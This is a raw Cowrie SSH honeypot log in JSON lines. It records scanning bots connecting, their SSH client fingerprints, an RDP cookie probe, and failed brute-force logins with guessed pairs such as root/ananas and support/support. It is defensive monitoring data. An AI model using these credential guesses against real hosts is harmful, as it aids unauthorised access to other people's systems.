{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:33.937165Z","src_ip":"80.94.92.184","session":"4a2351917a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:35.106970Z","src_ip":"80.94.92.184","session":"4a2351917a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:36.266971Z","src_ip":"80.94.92.184","session":"4a2351917a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":35670,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad24ef5f7673","protocol":"ssh","message":"New connection: 31.57.216.40:35670 (159.203.135.109:22) [session: ad24ef5f7673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:38.520850Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:38.525655Z","src_ip":"31.57.216.40","session":"ad24ef5f7673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":35678,"dst_ip":"159.203.135.109","dst_port":22,"session":"ace20d8c4fa5","protocol":"ssh","message":"New connection: 31.57.216.40:35678 (159.203.135.109:22) [session: ace20d8c4fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:38.636314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:38.641011Z","src_ip":"31.57.216.40","session":"ace20d8c4fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:38.744847Z","src_ip":"31.57.216.40","session":"ace20d8c4fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:39.122712Z","src_ip":"31.57.216.40","session":"ace20d8c4fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:40.239472Z","src_ip":"31.57.216.40","session":"ace20d8c4fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":52388,"dst_ip":"10.17.0.5","dst_port":22,"session":"1854ea2fdd82","protocol":"ssh","message":"New connection: 167.172.81.52:52388 (10.17.0.5:22) [session: 1854ea2fdd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:40.404172Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:40.417729Z","src_ip":"167.172.81.52","session":"1854ea2fdd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:40.421393Z","src_ip":"167.172.81.52","session":"1854ea2fdd82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":60952,"dst_ip":"10.17.0.5","dst_port":22,"session":"3deab4398b66","protocol":"ssh","message":"New connection: 103.149.170.125:60952 (10.17.0.5:22) [session: 3deab4398b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:17.210145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:17.214295Z","src_ip":"103.149.170.125","session":"3deab4398b66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:17.474106Z","src_ip":"103.149.170.125","session":"3deab4398b66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a11111","message":"login attempt [root/a11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:18.252646Z","src_ip":"103.149.170.125","session":"3deab4398b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:19.514708Z","src_ip":"103.149.170.125","session":"3deab4398b66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":48506,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed3425010bb2","protocol":"ssh","message":"New connection: 147.45.199.80:48506 (10.17.0.5:22) [session: ed3425010bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:26.564366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:26.567915Z","src_ip":"147.45.199.80","session":"ed3425010bb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:26.663377Z","src_ip":"147.45.199.80","session":"ed3425010bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ananas","message":"login attempt [root/ananas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:26.952078Z","src_ip":"147.45.199.80","session":"ed3425010bb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:28.050030Z","src_ip":"147.45.199.80","session":"ed3425010bb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":57644,"dst_ip":"159.203.135.109","dst_port":22,"session":"76f1eb7c29a1","protocol":"ssh","message":"New connection: 103.77.242.62:57644 (159.203.135.109:22) [session: 76f1eb7c29a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:36.537011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:36.541847Z","src_ip":"103.77.242.62","session":"76f1eb7c29a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:36.783582Z","src_ip":"103.77.242.62","session":"76f1eb7c29a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha1","message":"login attempt [root/sasha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:37.507256Z","src_ip":"103.77.242.62","session":"76f1eb7c29a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:38.751484Z","src_ip":"103.77.242.62","session":"76f1eb7c29a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":47232,"dst_ip":"159.203.135.109","dst_port":22,"session":"a74d83b0bd89","protocol":"ssh","message":"New connection: 139.19.117.129:47232 (159.203.135.109:22) [session: a74d83b0bd89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:48.208342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:48.213268Z","src_ip":"139.19.117.129","session":"a74d83b0bd89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:48.309716Z","src_ip":"139.19.117.129","session":"a74d83b0bd89","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:c8:64:09:84:20:35:9f:76:8a:09:2d:8b:cf:48:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTpdG+f24ZLGM1XY2PTbBvm+Xqqf9ryjietrZ8ZznOo3IoqOzjPmdNJugKYS4Qaom1HCOTQdLzxTYKwlNUSe6lvcyirfQzgzBUsh4dCQ42oILJMsEFp2gwiqx/MnT5w+gITwsHFovX/Sm6RzxNRokQST9vduiHEZ3ytfiFolrPIu9ZLkWm/2fgvaAhu8Z6hAhpObjitg44rkG2QI2gdIiMSF2bMmErzZHD471e2Yl8ryEpzHX731db7CSL/3v5qUR1FRAXcovO4lVL0EMfE0NE6MV4TVoAQaWtAo4WuIEVzAPXHA/KezhX92V8WhG7Zt1Nto2rQvTY04lJuUDZNr5t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:c8:64:09:84:20:35:9f:76:8a:09:2d:8b:cf:48:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:48.507502Z","src_ip":"139.19.117.129","session":"a74d83b0bd89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:c8:64:09:84:20:35:9f:76:8a:09:2d:8b:cf:48:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTpdG+f24ZLGM1XY2PTbBvm+Xqqf9ryjietrZ8ZznOo3IoqOzjPmdNJugKYS4Qaom1HCOTQdLzxTYKwlNUSe6lvcyirfQzgzBUsh4dCQ42oILJMsEFp2gwiqx/MnT5w+gITwsHFovX/Sm6RzxNRokQST9vduiHEZ3ytfiFolrPIu9ZLkWm/2fgvaAhu8Z6hAhpObjitg44rkG2QI2gdIiMSF2bMmErzZHD471e2Yl8ryEpzHX731db7CSL/3v5qUR1FRAXcovO4lVL0EMfE0NE6MV4TVoAQaWtAo4WuIEVzAPXHA/KezhX92V8WhG7Zt1Nto2rQvTY04lJuUDZNr5t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:48.511222Z","src_ip":"139.19.117.129","session":"a74d83b0bd89","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:c8:64:09:84:20:35:9f:76:8a:09:2d:8b:cf:48:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTpdG+f24ZLGM1XY2PTbBvm+Xqqf9ryjietrZ8ZznOo3IoqOzjPmdNJugKYS4Qaom1HCOTQdLzxTYKwlNUSe6lvcyirfQzgzBUsh4dCQ42oILJMsEFp2gwiqx/MnT5w+gITwsHFovX/Sm6RzxNRokQST9vduiHEZ3ytfiFolrPIu9ZLkWm/2fgvaAhu8Z6hAhpObjitg44rkG2QI2gdIiMSF2bMmErzZHD471e2Yl8ryEpzHX731db7CSL/3v5qUR1FRAXcovO4lVL0EMfE0NE6MV4TVoAQaWtAo4WuIEVzAPXHA/KezhX92V8WhG7Zt1Nto2rQvTY04lJuUDZNr5t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:c8:64:09:84:20:35:9f:76:8a:09:2d:8b:cf:48:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:48.610000Z","src_ip":"139.19.117.129","session":"a74d83b0bd89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:c8:64:09:84:20:35:9f:76:8a:09:2d:8b:cf:48:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTpdG+f24ZLGM1XY2PTbBvm+Xqqf9ryjietrZ8ZznOo3IoqOzjPmdNJugKYS4Qaom1HCOTQdLzxTYKwlNUSe6lvcyirfQzgzBUsh4dCQ42oILJMsEFp2gwiqx/MnT5w+gITwsHFovX/Sm6RzxNRokQST9vduiHEZ3ytfiFolrPIu9ZLkWm/2fgvaAhu8Z6hAhpObjitg44rkG2QI2gdIiMSF2bMmErzZHD471e2Yl8ryEpzHX731db7CSL/3v5qUR1FRAXcovO4lVL0EMfE0NE6MV4TVoAQaWtAo4WuIEVzAPXHA/KezhX92V8WhG7Zt1Nto2rQvTY04lJuUDZNr5t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:48.613786Z","src_ip":"139.19.117.129","session":"a74d83b0bd89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59474,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d45cb402643","protocol":"ssh","message":"New connection: 152.42.212.128:59474 (10.17.0.5:22) [session: 4d45cb402643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:55.151093Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:55.156047Z","src_ip":"152.42.212.128","session":"4d45cb402643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:55.159929Z","src_ip":"152.42.212.128","session":"4d45cb402643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":48336,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c49cbe7468d","protocol":"ssh","message":"New connection: 103.77.175.15:48336 (159.203.135.109:22) [session: 6c49cbe7468d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:56.614691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:53:56.618998Z","src_ip":"103.77.175.15","session":"6c49cbe7468d","protocol":"ssh"}
